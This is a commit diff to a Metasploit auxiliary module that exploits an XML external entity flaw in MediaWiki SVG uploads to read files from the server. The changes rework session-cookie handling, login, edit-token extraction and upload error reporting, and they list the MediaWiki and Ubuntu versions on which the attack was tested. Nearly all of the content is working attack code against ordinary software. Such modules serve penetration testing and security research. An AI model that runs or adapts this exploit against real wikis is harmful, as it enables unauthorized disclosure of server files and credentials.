bug/bundler_fix
jvazquez-r7 2013-04-19 17:48:12 -05:00
commit d1c5179b83
1 changed files with 40 additions and 22 deletions

View File

@ -22,7 +22,11 @@ class Metasploit4 < Msf::Auxiliary
expand external entities with the SYSTEM identifier. In order to work MediaWiki must
be configured to accept upload of SVG files. If anonymous uploads are allowed the
username and password aren't required, otherwise they are. This module has been
tested successfully on MediaWiki 1.19.4 and Ubuntu 10.04.
tested successfully on MediaWiki 1.19.4, 1.20.3 on Ubuntu 10.04 and Ubuntu 12.10.
Older versions were also tested but do not seem to be vulnerable to this vulnerability.
The following MediaWiki requirements must be met: File upload must be enabled,
$wgFileExtensions[] must include 'svg', $wgSVGConverter must be set to something
other than 'false'.
},
'References' =>
[
@ -32,8 +36,9 @@ class Metasploit4 < Msf::Auxiliary
],
'Author' =>
[
'Daniel Franke', # Vulnerability discovery and PoC
'juan vazquez' # Metasploit module
'Daniel Franke', # Vulnerability discovery and PoC
'juan vazquez', # Metasploit module
'Christian Mehlmauer' # Metasploit module
],
'License' => MSF_LICENSE
)
@ -69,8 +74,8 @@ class Metasploit4 < Msf::Auxiliary
}
})
if res and res.code == 200 and res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /my_wiki_session=([a-f0-9]*)/
return $1
if res and res.code == 200 and res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /([^\s]*session)=([a-z0-9]+)/
return $1,$2
else
return nil
end
@ -84,7 +89,7 @@ class Metasploit4 < Msf::Auxiliary
"title" => "Special:UserLogin",
"returnto" => "Main+Page"
},
'cookie' => "my_wiki_session=#{@first_session}"
'cookie' => session_cookie
})
if res and res.code == 200 and res.body =~ /name="wpLoginToken" value="([a-f0-9]*)"/
@ -98,12 +103,14 @@ class Metasploit4 < Msf::Auxiliary
def parse_auth_cookie(cookies)
cookies.split(";").each do |part|
case part
when /my_wikiUserID=(.*)/
@wiki_user_id = $1
when /my_wikiUserName=(.*)/
@my_wiki_user_name = $1
when /my_wiki_session=(.*)/
@my_wiki_session = $1
when /([^\s]*UserID)=(.*)/
@wiki_user_id_name = $1
@wiki_user_id = $2
when /([^\s]*UserName)=(.*)/
@wiki_user_name_name = $1
@wiki_user_name = $2
when /session=(.*)/
@wiki_session = $1
else
next
end
@ -112,9 +119,9 @@ class Metasploit4 < Msf::Auxiliary
def session_cookie
if @user and @password
return "my_wiki_session=#{@my_wiki_session}; my_wikiUserID=#{@wiki_user_id}; my_wikiUserName=#{@my_wiki_user_name}"
return "#{@wiki_session_name}=#{@wiki_session}; #{@wiki_user_id_name}=#{@wiki_user_id}; #{@wiki_user_name_name}=#{@wiki_user_name}"
else
return "my_wiki_session=#{@first_session}"
return "#{@wiki_session_name}=#{@wiki_session}"
end
end
@ -134,10 +141,10 @@ class Metasploit4 < Msf::Auxiliary
"wpLoginToken" => @login_token,
"returnto" => "Main+Page"
},
'cookie' => "my_wiki_session=#{@first_session}"
'cookie' => session_cookie
})
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /my_wikiUserID/
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /UserID=/
parse_auth_cookie(res.headers['Set-Cookie'])
return true
else
@ -152,7 +159,7 @@ class Metasploit4 < Msf::Auxiliary
'cookie' => session_cookie
})
if res and res.code == 200 and res.body =~/<title>Upload file/ and res.body =~ /"editToken":"([0-9a-f]*)\+\\\\/
if res and res.code == 200 and res.body =~/<title>Upload file/ and res.body =~ /<input id="wpEditToken" type="hidden" value="([0-9a-f]*)\+\\" name="wpEditToken" \/>/
return $1
else
return nil
@ -161,7 +168,6 @@ class Metasploit4 < Msf::Auxiliary
end
def upload_file
entity = Rex::Text.rand_text_alpha_lower(3)
@file_name = Rex::Text.rand_text_alpha_lower(4)
svg_file = %Q|
@ -198,6 +204,13 @@ class Metasploit4 < Msf::Auxiliary
if res and res.code == 302 and res.headers['Location']
return res.headers['Location']
else
# try to output the errormessage
if res and res.body
error = res.body.scan(/<div class="error">(.*?)<\/div>/m)[0]
if error and error.size == 1
vprint_error(error[0])
end
end
return nil
end
end
@ -217,13 +230,13 @@ class Metasploit4 < Msf::Auxiliary
end
def accessfile(rhost)
vprint_status("#{peer(rhost)} MediaWiki - Getting unauthenticated session...")
@first_session = get_first_session
if @first_session.nil?
@wiki_session_name, @wiki_session = get_first_session
if @wiki_session.nil?
print_error("#{peer(rhost)} MediaWiki - Failed to get unauthenticated session...")
return
end
vprint_status("#{peer(rhost)} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}")
if @user and not @user.empty? and @password and not @password.empty?
vprint_status("#{peer(rhost)} MediaWiki - Getting login token...")
@ -232,11 +245,15 @@ class Metasploit4 < Msf::Auxiliary
print_error("#{peer(rhost)} MediaWiki - Failed to get login token")
return
end
vprint_status("#{peer(rhost)} Logintoken: #{@login_token}")
if not authenticate
print_error("#{peer(rhost)} MediaWiki - Failed to authenticate")
return
end
vprint_status("#{peer(rhost)} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}")
vprint_status("#{peer(rhost)} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}")
vprint_status("#{peer(rhost)} Session cookie: #{@wiki_session_name}=#{@wiki_session}")
end
vprint_status("#{peer(rhost)} MediaWiki - Getting edit token...")
@ -245,6 +262,7 @@ class Metasploit4 < Msf::Auxiliary
print_error("#{peer(rhost)} MediaWiki - Failed to get edit token")
return
end
vprint_status("#{peer(rhost)} Edittoken: #{@edit_token}")
vprint_status("#{peer(rhost)} MediaWiki - Uploading SVG file...")
@svg_uri = upload_file
@ -252,6 +270,7 @@ class Metasploit4 < Msf::Auxiliary
print_error("#{peer(rhost)} MediaWiki - Failed to upload SVG file")
return
end
vprint_status("#{peer(rhost)} SVG URI: #{@svg_uri}")
vprint_status("#{peer(rhost)} MediaWiki - Retrieving remote file...")
loot = read_data
@ -276,4 +295,3 @@ class Metasploit4 < Msf::Auxiliary
end
end